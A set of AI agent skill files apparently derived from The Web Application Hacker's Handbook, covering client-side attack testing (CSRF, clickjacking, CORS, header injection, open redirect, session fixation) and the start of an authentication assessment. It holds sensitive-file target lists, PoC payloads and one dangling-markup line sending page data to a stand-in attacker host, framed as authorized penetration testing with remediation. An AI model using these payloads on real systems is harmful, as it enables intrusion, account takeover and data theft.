## Target Files by Platform
**Unix/Linux:**
- `/etc/passwd` — user account list (world-readable)
- `/etc/shadow` — password hashes (root only — confirms high privilege if readable)
- `/proc/self/environ` — process environment variables (may contain credentials)
- `/var/log/apache2/access.log` — access logs (may enable log poisoning for code execution)
- Application config: `/var/www/html/config.php`, `.env` files
**Windows:**
- `C:\windows\win.ini` — always readable, confirms traversal
- `C:\windows\system32\config\sam` — SAM database (locked by OS when running; unreadable confirms restriction)
- `C:\inetpub\wwwroot\web.config` — IIS configuration, may contain connection strings
- `C:\windows\repair\sam` — backup SAM database (may be readable)
Source: Stuttard, D. & Pinto, M. (2011). *The Web Application Hacker's Handbook* (2nd ed.), Chapter 10, pp. 374-378. Wiley.
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks...
---
name: client-side-attack-testing
description: |
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks. Use this skill when: auditing hidden form fields, HTTP cookies, URL parameters, Referer headers, or ASP.NET ViewState for client-side data transmission vulnerabilities; bypassing HTML maxlength limits, JavaScript validation, or disabled form elements to probe server-side enforcement gaps; intercepting and analyzing browser extension traffic (Java applets, Flash, Silverlight) and handling serialized data; testing for cross-site request forgery (CSRF) by identifying cookie-only session tracking and constructing auto-submitting PoC forms; testing for clickjacking and UI redress attacks by checking X-Frame-Options headers and constructing iframe overlay proofs of concept; detecting cross-domain data capture vectors via HTML injection and CSS injection; auditing Flash crossdomain.xml and HTML5 CORS Access-Control-Allow-Origin configurations for overly permissive same-origin policy exceptions; finding HTTP header injection and response splitting vulnerabilities via CRLF injection; identifying open redirection vulnerabilities and testing filter bypass payloads; testing cookie injection and session fixation; assessing local privacy exposure through persistent cookies, cached content lacking no-cache directives, autocomplete on sensitive fields, and HTML5 local storage. Excludes XSS (covered by xss-detection-and-exploitation). Maps to OWASP Testing Guide (OTG-INPVAL-*, OTG-SESS-*, OTG-CLIENT-*), CWE-352 (CSRF), CWE-601 (Open Redirect), CWE-113 (HTTP Header Injection), CWE-565 (Reliance on Cookies), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-311 (Missing Encryption of Sensitive Data), and OWASP Top 10 A01:2021, A03:2021, A05:2021.
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/client-side-attack-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [5, 13]
pages: "117-157, 501-560"
tags: [csrf, clickjacking, ui-redress, open-redirect, http-header-injection, session-fixation, cookie-injection, client-side-controls, hidden-form-fields, viewstate, javascript-validation, browser-extensions, same-origin-policy, cors, crossdomain-xml, local-privacy, burp-suite, penetration-testing, appsec, cwe-352, cwe-601, cwe-113, cwe-565, cwe-1021]
execution:
tier: 2
mode: hybrid
inputs:
- type: document
description: "HTTP proxy traffic logs, Burp Suite project file, or captured request/response pairs from the target application"
- type: codebase
description: "Application source code or HTML source for white-box review of client-side controls and data transmission"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Authorized security testing context required. Burp Suite or equivalent intercepting proxy configured between browser and target. Clean browser profile recommended for local privacy testing."
discovery:
goal: "Identify all exploitable client-side control bypasses and user-targeting vulnerabilities; produce a structured findings report with PoC evidence, CWE mappings, severity ratings, and remediation guidance"
tasks:
- "Enumerate all client-side data transmission mechanisms (hidden fields, cookies, URL params, ViewState) and attempt tampering"
- "Identify and bypass all client-side input validation (length limits, JavaScript validation, disabled elements)"
- "Intercept browser extension traffic and attempt parameter manipulation or component decompilation"
- "Test all state-changing application functions for CSRF vulnerability"
- "Check all pages for X-Frame-Options and construct clickjacking proof of concept where absent"
- "Identify cross-domain policy files and CORS headers; assess permission scope"
- "Probe HTTP headers for CRLF injection; test open redirection parameters with bypass payloads"
- "Test session token behavior across login boundary for session fixation; test cookie injection vectors"
- "Audit local data storage: persistent cookies, cache directives, autocomplete attributes, HTML5 storage"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, intercepting proxies (Burp Suite), HTML/JavaScript, and basic session management concepts"
triggers:
- "Penetration test of a web application requiring client-side vulnerability coverage"
- "Security assessment of an e-commerce or banking application with payment flows"
- "Audit of an application using browser extension components (Java applets, Flash, Silverlight)"
- "Assessment of a multi-user application where one user could target another"
- "Review of OWASP Top 10 A01/A03/A05 finding categories"
- "Pre-launch security review checking for CSRF, clickjacking, and open redirection"
---
# Client-Side Attack Testing
## When to Use
Use this skill when you need to assess a web application for vulnerabilities that either trust data transmitted through the client without server-side verification, or that allow one user to target another user's browser session. These two families are conceptually distinct but share the same root: the server's failure to treat the client as an untrusted environment.
This skill covers authorized penetration testing and security code review. It is not a substitute for legal authorization to test a target application. XSS is excluded here and covered by the `xss-detection-and-exploitation` skill.
---
## Core Concepts
### Why Client-Side Controls Fail
The browser executes entirely within the user's control. Any restriction enforced only on the client — a hidden field the application assumes will not be modified, a JavaScript validation gate the application assumes will run — can be bypassed by an attacker who intercepts requests. The only controls that matter for security are those enforced on the server.
### Two Attack Families
**Client-side trust anti-patterns** occur when the server transmits data to the client and reads it back without verifying its integrity. Every channel — hidden form fields, HTTP cookies, URL parameters, the Referer header, ASP.NET ViewState — is attacker-controllable via an intercepting proxy.
**User-targeting attacks** exploit the browser's normal behavior to induce a victim user to perform unintended actions (CSRF, clickjacking) or to leak data to the attacker's domain (cross-domain data capture, open redirection). These attacks do not require the attacker to log in — they ride the victim's authenticated session.
---
## Process
### Phase 1: Client-Side Data Transmission Testing
**Step 1: Identify all client-side data transmission mechanisms.**
Using your intercepting proxy in passive mode, browse the entire application and catalog every location where data is passed to the client and expected back:
- Hidden form fields (`<input type="hidden">`)
- HTTP cookies set by the server (`Set-Cookie` headers)
- URL query string parameters that appear to carry server-state (price codes, product IDs with apparent pre-computation, discount flags)
- The `Referer` header used in multi-step workflows
- ASP.NET `__VIEWSTATE` parameters
WHY: Applications transmit data via the client for performance, scalability, and third-party integration reasons. Developers often assume the transmission channel is tamper-proof. It never is. Identifying these locations is prerequisite to testing them.
**Step 2: Infer the role of each parameter.**
For each item identified, determine from context what server-side logic depends on it. Look for names like `price`, `discount`, `role`, `isAdmin`, `uid`, `returnUrl`. Even opaque values may be encodings of sensitive data.
WHY: Blind tampering generates noise. Understanding the role of a parameter allows you to craft meaningful modifications — for example, setting `price=1` on a checkout form, or flipping `discount=0` to `discount=100`.
**Step 3: Modify each value and observe server behavior.**
Use your proxy's intercept or Repeater tab to change parameter values:
- For hidden form fields: change the value in the intercepted POST request
- For cookies: modify the cookie header in subsequent requests or in the server response that sets the cookie
- For URL parameters: modify directly in the request
- For the Referer header: craft a request directly to a protected endpoint with a spoofed Referer matching the expected prior step
- For opaque values: attempt Base64 decoding (try starting decodes at offsets 0, 1, 2, 3 to account for Base64 block alignment); replay values from other contexts; submit malformed variants
WHY: The Referer header and cookies are not "more tamper-proof" than URL parameters — this is a common developer myth. Any intercepting proxy can modify all request headers with equal ease.
**Step 4: Test ASP.NET ViewState specifically.**
For ASP.NET applications, use Burp Suite's built-in ViewState parser (the ViewState tab in the proxy intercept panel):
1. Check whether MAC protection is enabled (indicated by a 20-byte hash at the end of the ViewState structure and the Burp parser reporting "MAC is enabled")
2. Even if MAC-protected, decode the ViewState to inspect whether the application stores sensitive data within it
3. If MAC protection is absent, edit the decoded ViewState contents in Burp's hex editor to modify any custom application data stored there
4. Test each significant page independently — MAC protection may be enabled globally but disabled on specific pages
WHY: ViewState with MAC protection disabled allows arbitrary modification of server-side state data, which can lead to price manipulation, privilege escalation, or injection vulnerabilities if the deserialized data is used unsafely.
---
### Phase 2: Client-Side Input Validation Bypass
**Step 1: Identify HTML maxlength restrictions.**
Search response HTML for `maxlength` attributes on input elements. Submit values exceeding the declared length via proxy intercept (the browser enforces maxlength client-side only).
WHY: If the server does not replicate the length check, overlong input may trigger SQL injection, cross-site scripting, buffer overflow, or other secondary vulnerabilities. Accepting the overlong input confirms the client-side validation is the only gate.
**Step 2: Identify JavaScript validation on form submission.**
Look for `onsubmit` attributes on form tags or validation functions called before form submission. Methods to bypass:
- Submit a valid value in the browser, intercept the request in the proxy, and replace the value with your desired payload (cleanest approach, does not affect application UI state)
- Disable JavaScript in the browser before submitting the form
- Intercept the server response containing the JavaScript validation code and neutralize the validation function (for example, change the function body to `return true`)
Test each field with invalid data individually, keeping all other fields valid, because the server may stop processing after the first invalid field.
WHY: Client-side validation without server-side replication is purely a user experience feature, not a security control.
**Step 3: Identify and submit disabled form elements.**
Inspect page source (not just proxy traffic — disabled elements are not submitted by the browser, so they do not appear in normal traffic) for `disabled="true"` attributes. Submit the disabled parameter name and value manually via proxy.
WHY: Disabled fields often represent parameters that were active during development or testing. The server-side handler may still process them if submitted, exposing price manipulation or feature-flag bypass opportunities.
---
### Phase 3: Browser Extension Analysis
**Step 1: Intercept browser extension traffic.**
Configure your proxy to intercept traffic from Java applets, Flash objects, or Silverlight applications. If the proxy does not automatically intercept extension traffic, configure the browser's JVM or Flash proxy settings to route through your proxy.
**Step 2: Handle serialized data formats.**
Identify the serialization format from the `Content-Type` header:
- `application/x-java-serialized-object` — Java serialization; use DSer (Burp plugin) to convert to XML, edit, and re-serialize
- AMF (Action Message Format) — Flash remoting; use Burp's AMF support or the AMF plugin
- Custom binary formats — attempt to infer structure from repeated byte patterns; look for length-prefixed strings
**Step 3: Decompile the component bytecode if proxy-level manipulation is insufficient.**
- Java applets: use `javap -c` for disassembly or a full decompiler such as JD-GUI or Procyon to recover source code
- Flash objects: download the `.swf` file and use Flasm or JPEXS Free Flash Decompiler
- Silverlight: extract the `.xap` archive and use dotPeek or ILSpy on the contained DLLs
Review decompiled code for hardcoded credentials, hidden API endpoints, client-side business logic, and validation that should occur server-side.
WHY: Browser extensions enforce validation inside a compiled binary that developers assume cannot be inspected. Decompilation proves that assumption false and often reveals critical security logic implemented entirely on the client.
---
### Phase 4: Cross-Site Request Forgery Testing
**Step 1: Identify CSRF-vulnerable functions.**
A function is potentially vulnerable to CSRF when all three of the following hold:
1. It performs a sensitive or privileged action (state change, account modification, fund transfer, user creation)
2. The application relies solely on HTTP cookies to track session state (no additional token in the request body or URL)
3. All required request parameters can be determined by an attacker in advance (no unpredictable nonces)
**Step 2: Construct a CSRF proof of concept.**
For GET-based actions, use an `<img>` tag with `src` set to the target URL:
```html
<img src="https://target.example.com/action?param=value">
```
For POST-based actions, construct an auto-submitting form:
```html
<html><body>
<form action="https://target.example.com/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
</body></html>
```
**Step 3: Verify the attack.**
While authenticated in the target application in one browser tab, load the PoC page in the same browser. Confirm the action executes within the victim's session.
**Step 4: Assess anti-CSRF token quality if present.**
If the application includes a per-request token, verify:
- The token is tied to the specific user's session (not shared across users)
- The token value is unpredictable (sufficient entropy, not sequentially issued)
- The token cannot be obtained cross-domain via JavaScript hijacking or CSS injection
- Multi-step flows re-validate the token at every step, not only the first
WHY: CSRF exploits the browser's automatic cookie submission. The only reliable defenses are session-bound unpredictable tokens in the request body, the SameSite cookie attribute, or re-authentication for sensitive actions.
---
### Phase 5: Clickjacking and UI Redress Testing
**Step 1: Check for X-Frame-Options.**
For every sensitive page (login, account settings, fund transfer confirmation, admin functions), examine the HTTP response headers for:
```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
```
If neither is present, the page is potentially vulnerable to UI redress attacks.
**Step 2: Construct a clickjacking proof of concept.**
Create an attacker page that loads the target page in a transparent iframe overlaid on a decoy interface:
```html
<html><head><style>
iframe { opacity: 0.0; position: absolute; top: 150px; left: 200px;
width: 600px; height: 400px; z-index: 2; }
button { position: absolute; top: 150px; left: 200px; z-index: 1; }
</style></head><body>
<button>Click here to win a prize!</button>
<iframe src="https://target.example.com/confirm-transfer"></iframe>
</body></html>
```
Adjust iframe positioning to align the decoy button with the target page's sensitive action button.
**Step 3: Test for mobile interface gaps.**
Check mobile-specific UI paths (e.g., `/mobile/` subdirectories) separately. Anti-framing defenses are frequently applied only to the desktop interface.
WHY: UI redress bypasses token-based CSRF defenses because the iframe loads the target page normally — the token is generated and submitted within the framed context. The attack works even when CSRF tokens are correctly implemented.
---
### Phase 6: Cross-Domain Policy and Same-Origin Policy Analysis
**Step 1: Check Flash and Silverlight cross-domain policy files.**
Request `/crossdomain.xml` (Flash/Silverlight) and `/clientaccesspolicy.xml` (Silverlight) from the target origin. Evaluate:
- `<allow-access-from domain="*" />` — any domain can perform two-way interaction; critical finding
- Wildcarded subdomains — XSS on any allowed subdomain can compromise the application
- Intranet hostnames disclosed in the policy file
**Step 2: Test HTML5 CORS configuration.**
Add an `Origin: https://attacker.example.com` header to sensitive requests and examine the response for:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://attacker.example.com
Access-Control-Allow-Credentials: true
```
An `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true` is a critical misconfiguration. Also send an `OPTIONS` preflight request to enumerate which methods and headers are permitted cross-domain.
**Step 3: Test for cross-domain data capture via HTML/CSS injection.**
Where the application reflects limited HTML into responses (HTML injection short of full XSS), test whether the injection point precedes sensitive data such as anti-CSRF tokens. Inject:
```html
<img src='https://attacker.example.com/capture?html=
```
If this unclosed image tag slurps subsequent page content into the URL, sensitive tokens may be transmitted to the attacker's server. Also test CSS injection by injecting `()*(font-family:'` where text injection is possible, and attempt to load the target page as a stylesheet cross-domain.
---
### Phase 7: HTTP Header Injection and Open Redirection
**Step 1: Find header injection entry points.**
Identify all locations where user-supplied data is incorporated into HTTP response headers — commonly the `Location` header in redirects and the `Set-Cookie` header in preference-setting functions. Submit the following test payload in each parameter:
```
English%0d%0aFoo:+bar
```
If the response contains a header line `Foo: bar`, the application is vulnerable. Also try `%0a`, `%250d%250a`, `%0d%0d%%0a0a`, and leading-space bypasses if sanitization is detected.
**Step 2: Assess exploitation impact.**
If arbitrary headers can be injected, demonstrate:
- Cookie injection: inject `Set-Cookie` headers to plant arbitrary cookies in the victim's browser
- Response splitting for cache poisoning: inject a complete second HTTP response body into the cache for a subsequently requested URL
**Step 3: Identify open redirection parameters.**
Walk through the application in the proxy and identify every redirect. For each redirect where user-controlled input determines the target URL, test:
1. Modify the target to an absolute external URL: `https://attacker.example.com`
2. If blocked, test bypass variants:
- Protocol case: `HtTp://attacker.example.com`
- Null byte prefix: `%00http://attacker.example.com`
- Protocol-relative: `//attacker.example.com`
- URL-encoded: `%68%74%74%70%3a%2f%2fattacker.example.com`
- Double encoding: `%2568%2574%2574%70%253a%252f%252fattacker.example.com`
- Domain confusion if app checks for own domain: `http://attacker.example.com?http://target.example.com`
3. If the application prepends a fixed prefix, test whether omitting the trailing slash causes the domain to be treated as a subdomain of an attacker-controlled domain: `redir=.attacker.example.com`
---
### Phase 8: Cookie Injection and Session Fixation
**Step 1: Test for cookie injection vectors.**
Identify functions that accept user input and set it into a cookie value. Inject a newline sequence to add a second `Set-Cookie` header (see HTTP header injection above). Also check whether XSS in related subdomains or parent domains can set cookies for the target application's domain.
**Step 2: Test for session fixation.**
1. As an unauthenticated user, request the login page and record the session token issued
2. Using that token, perform a login with valid credentials
3. If the application does not issue a new session token on successful authentication, it is vulnerable to session fixation
4. Test whether the application accepts arbitrary session tokens it has never issued — if so, the vulnerability is significantly more severe
WHY: Session fixation allows an attacker who can plant a known token in a victim's browser (via cookie injection, URL parameter, or CSRF against the login form) to hijack the victim's authenticated session without ever knowing the victim's credentials.
---
### Phase 9: Local Privacy Testing
**Step 1: Audit persistent cookies.**
Review all `Set-Cookie` headers for the `expires` attribute. Any cookie with a future expiry date is persisted to disk. If the cookie contains sensitive data (session tokens, user identifiers, preference data with security implications), document it as a local privacy finding.
**Step 2: Audit cache directives.**
For every HTTP page that displays sensitive data, verify the presence of all three directives:
```
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
```
If absent, verify that the page is served over HTTPS (not HTTP, where caching is more likely). Validate empirically by clearing the browser cache, accessing the sensitive page, and inspecting the browser's disk cache directory.
**Step 3: Audit autocomplete on sensitive input fields.**
Inspect the HTML source of all forms that capture sensitive data (passwords, credit card numbers, personal identification). Verify that `autocomplete="off"` is set on the `<form>` tag or on the individual sensitive `<input>` tags.
**Step 4: Audit HTML5 local storage.**
Using browser developer tools, inspect `localStorage` and `sessionStorage` for sensitive data stored by the application. `sessionStorage` is cleared when the tab closes; `localStorage` persists indefinitely.
---
## Examples
### Example 1: Hidden Field Price Manipulation
**Scenario:** E-commerce application transmitting product price in a hidden form field for use at checkout.
**Trigger:** During application mapping, proxy traffic reveals `<input type="hidden" name="price" value="449">` in the purchase form HTML.
**Process:**
1. Add item to cart and proceed to checkout in browser
2. Intercept the POST request in Burp Suite when the Buy button is clicked
3. In the intercepted request body, locate `quantity=1&price=449`
4. Modify `price=449` to `price=1` and forward the request
5. Also test `price=-100` to check for negative-price acceptance
**Output:** If the order is processed at the modified price, document as CWE-565 (Reliance on Cookies Without Validation) / improper trust in client-submitted data. Remediation: look up price server-side from the product catalog at time of purchase; never trust client-submitted price values.
---
### Example 2: CSRF Against Account Email Change
**Scenario:** A web application allows users to change their email address via a POST request that relies solely on the session cookie for authentication.
**Trigger:** Application mapping reveals `POST /account/change-email` accepts `[email protected]` with no additional token in the request body.
**Process:**
1. Confirm no anti-CSRF token is present in the request or the form HTML
2. Confirm no `SameSite` attribute is set on the session cookie
3. Construct the PoC page with an auto-submitting form pointing to `/account/change-email` with `[email protected]`
4. While authenticated in the target application, load the PoC in the same browser session
5. Confirm that the email address is changed to the attacker-controlled address
**Output:** Document as CWE-352 (Cross-Site Request Forgery), severity High. Remediation: implement synchronizer token pattern (per-session or per-request CSRF token in request body), or set `SameSite=Strict` on session cookies.
---
### Example 3: Clickjacking on Fund Transfer Confirmation
**Scenario:** A banking application's fund transfer confirmation page (`/transfer/confirm`) lacks `X-Frame-Options`.
**Trigger:** Security header review reveals `X-Frame-Options` is absent from the `/transfer/confirm` response.
**Process:**
1. Construct the iframe overlay PoC with the confirmation page loaded transparently
2. Position the transparent iframe so the Confirm button aligns with a decoy "Click to claim reward" button on the attacker page
3. Open the PoC in a browser where the victim user is authenticated to the banking application
4. Click the decoy button — verify the fund transfer is confirmed within the framed application
**Output:** Document as CWE-1021 (Improper Restriction of Rendered UI Layers / Clickjacking), severity High. Remediation: add `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'` to all sensitive pages. Note: JavaScript framebusting is not a reliable substitute — it can be circumvented via sandbox iframe attributes.
---
## Remediation Reference
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Hidden field / cookie / URL param tampering | Server trusts client-submitted data | Store and look up all security-relevant data server-side; validate every parameter server-side |
| Referer-header access control | Referer is optional and attacker-controllable | Use proper session-based authorization; never use Referer as an access control gate |
| ViewState tampering | MAC protection disabled | Enable `EnableViewStateMac`; do not store sensitive data in ViewState |
| JavaScript validation bypass | No server-side replication | Treat all client-side validation as UX only; replicate every constraint server-side |
| CSRF | Cookie-only session tracking | Implement synchronizer token pattern or use `SameSite=Strict` cookies |
| Clickjacking | Missing framing controls | Set `X-Frame-Options: DENY` or `frame-ancestors 'none'` CSP |
| Open redirection | User input controls redirect target | Use an allow-list of valid redirect targets; reject absolute URLs; prepend own origin with trailing slash |
| HTTP header injection | Unsanitized user input in headers | Strip all characters with ASCII code below 0x20 from data inserted into headers |
| Session fixation | Session token not rotated at login | Issue a new session token immediately after successful authentication |
| Local privacy: cached content | Missing cache-control directives | Set `Cache-Control: no-cache`, `Pragma: no-cache`, `Expires: 0` on all sensitive pages |
| Local privacy: autocomplete | Missing autocomplete=off | Set `autocomplete="off"` on all forms and fields capturing sensitive data |
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Systematically assess web application authentication mechanisms for design flaws and implementation vulnerabilities. Use this skill whenever: testing the log...
---
name: authentication-security-assessment
description: |
Systematically assess web application authentication mechanisms for design flaws and implementation vulnerabilities. Use this skill whenever: testing the login security of a web application; auditing authentication for unauthorized access risk; evaluating password policy strength or brute-force resistance; checking whether login failure messages leak usernames (user enumeration); testing credential transmission over HTTP vs HTTPS; reviewing password change or forgotten password flows for logic flaws; assessing "remember me" cookie security; testing multistage login mechanisms for stage-skipping or cross-stage credential mixing; reviewing source code or HTTP traffic for fail-open logic or insecure credential storage; performing a penetration test or security code review of any user authentication system. Covers HTML forms-based, HTTP Basic/Digest, and multifactor authentication. Maps to OWASP Testing Guide (OTG-AUTHN-*) and CWE-287 (Improper Authentication), CWE-521 (Weak Password Requirements), CWE-307 (Improper Restriction of Excessive Authentication Attempts), CWE-640 (Weak Password Recovery Mechanism), CWE-312 (Cleartext Storage of Sensitive Information), CWE-522 (Insufficiently Protected Credentials).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/authentication-security-assessment
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [6]
pages: "159-201"
tags: [authentication, login-security, brute-force, credential-security, password-policy, user-enumeration, session-management, multifactor-authentication, owasp, penetration-testing, appsec, cwe-287, cwe-307, cwe-521, cwe-640]
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Application source code containing authentication logic, login handlers, session management — primary for code review mode"
- type: document
description: "HTTP traffic captures, Burp Suite logs, or security report — primary for black-box testing mode"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Run inside a project codebase for white-box review, or with HTTP traffic logs for black-box assessment. Authorized testing context required."
discovery:
goal: "Identify all exploitable weaknesses across design flaws (13 categories) and implementation flaws (3 categories) in the application's authentication mechanism; produce a structured findings report with severity, evidence, and countermeasures"
tasks:
- "Map all authentication surfaces: login, password change, account recovery, registration, remember-me, impersonation"
- "Test each design flaw category systematically using the relevant HACK STEPS"
- "Test each implementation flaw category using behavioral probing and code analysis"
- "Document findings with CWE mapping, severity rating, and evidence"
- "Produce countermeasures aligned with the 'Securing Authentication' framework"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "security-architect", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, web proxies (Burp Suite or equivalent), and basic authentication concepts"
triggers:
- "Penetration test of a web application's authentication mechanism"
- "Security code review of login, password change, or account recovery logic"
- "Pre-deployment security audit of authentication functionality"
- "Post-incident analysis of an authentication bypass or account takeover"
- "Assessment of brute-force resistance and account lockout behavior"
not_for:
- "Authorization or access control testing — use a dedicated access control assessment skill"
- "Session token analysis — overlaps with session management testing (Chapter 7 scope)"
- "SQL injection or injection attacks against login forms — use injection assessment skills"
---
# Authentication Security Assessment
## When to Use
You have authorized access to a web application and need to systematically assess its authentication mechanisms for exploitable weaknesses.
This skill applies when:
- A penetration test scope includes login, registration, password change, or account recovery functionality
- A code review targets authentication logic — login handlers, session creation, credential storage
- You need to assess brute-force resistance, account lockout policy, or credential transmission security
- You are evaluating whether a multistage login mechanism provides the security benefit it was designed to deliver
**The foundational insight from Stuttard and Pinto:** Authentication is conceptually simple but practically one of the weakest links in real-world applications. Developers fail to ask "what could an attacker achieve if they targeted our authentication mechanism?" systematically. Even one exploitable flaw is often sufficient to break the entire application — because if authentication fails, session management and access control become irrelevant.
**Two flaw classes exist and require different testing approaches:**
1. **Design flaws** — weaknesses inherent in how the mechanism was conceived (bad passwords, brute-forcible login, verbose errors). Detected by behavioral testing.
2. **Implementation flaws** — mistakes in coding a correctly designed mechanism (fail-open logic, multistage stage-skipping, insecure storage). Detected by code review and malformed-request probing.
**Authorized testing only.** This skill is for security professionals with explicit written authorization to test the target application.
---
## Context and Input Gathering
### Required Context (must have — ask if missing)
- **Testing mode (black-box vs white-box):**
Why: black-box testing relies on behavioral observation of HTTP responses; white-box testing adds source code analysis which enables detection of implementation flaws that are otherwise invisible.
- Check prompt for: "source code available," "code review," "codebase," vs "black-box," "external test," "no source"
- If missing, ask: "Do you have access to the application's source code, or is this a black-box behavioral test?"
- **Authentication technologies in scope:**
Why: the attack surface differs between HTML forms-based login (>90% of web apps), HTTP Basic/Digest, multifactor, and Windows-integrated authentication. Multistage login requires stage-sequencing analysis that single-stage does not.
- Check environment for: login form HTML, HTTP headers (`WWW-Authenticate`), multi-step login flows, physical token references
- If missing, ask: "Does the application use a single username/password form, multistage login (PIN, challenge question, physical token), or something else?"
- **Scope of authentication surfaces:**
Why: weaknesses are often introduced in secondary functions (password change, account recovery) that developers treat as lower-security than the main login. Missing any surface means missing likely findings.
- Check environment for: `/forgot-password`, `/change-password`, `/register`, `/impersonate` endpoints
- If missing, ask: "Besides the main login, are password change, forgotten password, registration, and account recovery in scope?"
### Observable Context (gather from environment)
- **Existing HTTP traffic or Burp Suite session logs:**
Look for: login POST requests, Set-Cookie headers, redirect chains after login, hidden form fields that carry state between stages
If unavailable: agent conducts analysis from source code alone; note the limitation
- **Server-side credential storage:**
Look for: database schema files, ORM model definitions, password field types (VARCHAR vs BINARY/CHAR for hashes), any plaintext password columns
If unavailable: defer storage analysis to black-box inference (does the app ever return your password to you?)
- **Framework and language:**
Look for: `package.json`, `requirements.txt`, `pom.xml`, `web.config`, framework config files
If unavailable: assume no framework-specific protections are in place
### Default Assumptions
- Assume **no account lockout** is in place until tested — lockout is commonly absent or trivially bypassable
- Assume **all authentication surfaces are in scope** unless explicitly excluded
- Assume **HTTP Basic/Digest are not in use** on the primary login if HTML forms are present
---
## Process
### Step 1: Map the Full Authentication Attack Surface
**ACTION:** Identify every function where the application accepts credentials or performs authentication-related processing. Enumerate: main login, password change, forgotten password / account recovery, user registration, "remember me" functionality, administrative impersonation features, any API authentication endpoints.
**WHY:** Vulnerabilities deliberately avoided in the main login function frequently reappear in secondary functions. Password change endpoints are often accessible without authentication. Forgotten password flows commonly reintroduce username enumeration. Missing any surface means missing the most likely source of findings. An attacker examines all surfaces; an assessor must too.
**AGENT: EXECUTES** — Grep for authentication-related URL patterns, form actions, and route handlers. Enumerate all endpoints.
**IF** white-box mode → grep source code for login handler function names, password comparison logic, session creation, credential-related routes
**ELSE** → use application spidering results or manually walk every link on the login, registration, password change, and recovery pages
---
### Step 2: Assess Password Quality Controls (Design Flaw: Bad Passwords)
**ACTION:** Determine what password quality rules, if any, the application enforces. Test by reviewing published FAQ/help text, attempting registration or password change with: blank passwords, single characters, passwords identical to the username, common dictionary words (password, 12345678, qwerty, letmein, monkey), and very short values.
**WHY:** Applications without strong password quality rules will contain a large number of user accounts with weak passwords. An attacker who can guess even a few high-probability passwords against a list of valid usernames will compromise real accounts. Common real-world passwords (documented from breach databases) are a small, well-known set. The absence of enforcement means even amateur attackers succeed.
**HANDOFF TO HUMAN** — Self-registration attempts and password change tests require interactive browser/proxy interaction. Agent interprets results.
**Check for:**
- Minimum length enforcement (target: 8+ characters, ideally 12+)
- Character diversity requirements (uppercase, lowercase, numeric, special characters)
- Rejection of username-as-password
- Rejection of common dictionary passwords
- Server-side vs client-side-only enforcement (client-side-only is a low-severity finding — an attacker can bypass it to set a weak password for themselves, but it does not directly compromise other users)
---
### Step 3: Test Brute-Force Resistance (Design Flaw: No Account Lockout)
**ACTION:** Using an account you control, submit approximately 10 failed login attempts with incorrect passwords. Observe whether the application: (a) returns a message about account lockout or suspension, (b) locks the account, (c) continues accepting login attempts without any throttling. If using a proxy, test whether the failed login counter is stored in a client-side cookie (bypass: discard the cookie and start a fresh session).
**WHY:** If the application allows unlimited login attempts, an automated attacker can try thousands of passwords per minute from a standard connection. Even the strongest password eventually falls. Brute-force resistance is a defense that protects all accounts simultaneously — its absence means that any username the attacker knows is eventually compromisable given sufficient time.
**AGENT: EXECUTES** (analysis) — HANDOFF TO HUMAN (actual login attempts via proxy.
**Breadth-first attack strategy (document for the report):** When targeting multiple usernames, iterate through the most common passwords once across all usernames rather than exhausting all passwords against one username. This discovers weak-password accounts faster and avoids triggering per-account lockout thresholds.
**Test session-based lockout bypass:**
- If lockout is triggered, obtain a fresh session token (visit the site without the `Cookie` header) and continue attempting the same account
- If the counter resets, the lockout is stored client-side and trivially bypassed
**Test whether lockout reveals credentials:**
- Submit the correct password against a locked account. If the application returns a different response than for an incorrect password, the lockout can be used to verify a guessed password even without logging in.
---
### Step 4: Test for Username Enumeration (Design Flaw: Verbose Failure Messages)
**ACTION:** Using a known valid username (your test account) and a known invalid username, submit failed login attempts and compare every aspect of the server's response: HTTP status code, response body text, response length, HTML source (including hidden elements and comments), redirect behavior, response timing. Repeat on: the main login, the password change form, the forgotten password form, and self-registration.
